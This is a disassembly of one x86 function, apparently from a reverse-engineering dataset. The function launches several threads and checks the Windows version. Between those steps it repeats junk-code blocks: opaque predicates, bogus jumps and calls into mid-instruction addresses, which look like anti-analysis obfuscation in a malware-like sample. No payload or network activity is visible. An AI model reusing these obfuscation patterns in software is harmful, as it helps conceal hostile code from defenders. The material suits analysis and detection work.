Function at 0x1004786a
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x12c
mov eax, dword [0x1044a964]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0
push 0
push 0
push 0x10023660
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
clc
jae 0x10047690
stc
jns 0x100476f7
pushf
pushfd
push 0xa
jae 0x1004769d
jmp 0x10047698
call 0x1004769f
jae 0x10047698
add esp, 4
jmp 0x100476a4
dec dword [esp]
jno 0x100476a9
jns 0x10047694
jp 0x100476ad
add esp, 4
popf
jmp 0x100476b4
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
xor eax, 0xa7
xor edx, eax
add eax, edx
sub edx, 0xa7
push eax
pop edx
xor edx, 0x1f5
nop
nop
xor ecx, ecx
xor eax, eax
mov ecx, 0xa7
add ecx, 3
sub ecx, eax
nop
push eax
pop ecx
xor eax, eax
nop
nop
push eax
xor eax, eax
pop eax
xor edx, edx
xor eax, edx
push ecx
pop ecx
xor eax, eax
nop
jl 0x10047708
jmp 0x1004770a
je 0x10047705
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
xor eax, eax
test eax, eax
je 0x10047724
jne 0x10047723
call 0x930867ab
rol byte [ebx + eax*4], 0xf0
add eax, 0x1750374
xor eax, 3
add eax, 4
xor eax, 5
je 0x10047732
jne 0x10047732
call 0x1007311e
add al, ch
hlt
call 0x100479f0
call 0x10047630
call 0x10047930
mov dword [ebp - 0x120], 0x11c
mov dword [ebp - 0x11c], 0
mov dword [ebp - 0x118], 0
mov dword [ebp - 0x114], 0
mov dword [ebp - 0x110], 0
push 0x100
push 0
lea eax, [ebp - 0x10c]
push eax
call fcn.1004f110
add esp, 0xc
xor ecx, ecx
mov word [ebp - 0xc], cx
xor edx, edx
mov word [ebp - 0xa], dx
xor eax, eax
mov dword [ebp - 8], eax
push 3
push 0x20
push 3
push 1
push 3
push 2
push 0
push 0
call dword [sym.imp.KERNEL32.dll_VerSetConditionMask]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_VerSetConditionMask]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_VerSetConditionMask]
mov dword [ebp - 0x12c], eax
mov dword [ebp - 0x128], edx
mov ecx, 6
movzx edx, cx
mov dword [ebp - 0x11c], edx
xor eax, eax
movzx ecx, ax
mov dword [ebp - 0x118], ecx
xor edx, edx
mov word [ebp - 0xc], dx
mov eax, dword [ebp - 0x128]
push eax
mov ecx, dword [ebp - 0x12c]
push ecx
push 0x23
lea edx, [ebp - 0x120]
push edx
call dword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
test eax, eax
je 0x10047818
mov dword [ebp - 0x124], 1
jmp 0x10047822
mov dword [ebp - 0x124], 0
movzx eax, byte [ebp - 0x124]
test eax, eax
je 0x1004784c
push 0
push 0
push 0
push 0x1003b1c0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
call fcn.10047a20
call fcn.10047960
call fcn.10047990
call fcn.100479c0
clc
jae 0x1004785b
cmp dword [esi + 0x66], ebp
pushfd
pushf
push 0xa
jae 0x10047868
jmp 0x10047863
call 0x1004786a
jae 0x10047863
add esp, 4
jmp 0x1004786f
dec dword [esp]
jno 0x10047874
jns 0x1004785f
jp 0x10047878
add esp, 4
popf
jmp 0x1004787f
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
xor eax, 0xb7
xor edx, eax
add eax, edx
sub edx, 0xb7
push eax
pop edx
xor edx, 0x225
nop
nop
xor ecx, ecx
xor eax, eax
mov ecx, 0xb7
add ecx, 3
sub ecx, eax
nop
push eax
pop ecx
xor eax, eax
nop
nop
push eax
xor eax, eax
pop eax
xor edx, edx
xor eax, edx
push ecx
pop ecx
xor eax, eax
nop
jl 0x100478d3
jmp 0x100478d5
je 0x100478d0
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
xor eax, eax
test eax, eax
je 0x100478ef
jne 0x100478ee
call 0x93086976
rol byte [ebx + eax*4], 0xf0
add eax, 0x1750374
xor eax, 3
add eax, 4
xor eax, 5
je 0x100478fd
jne 0x100478fd
call 0x106e796b
push 0
push 0
push 0
push 0x10045ad0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
call fcn.10047600
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1004ce42
mov esp, ebp
pop ebp
ret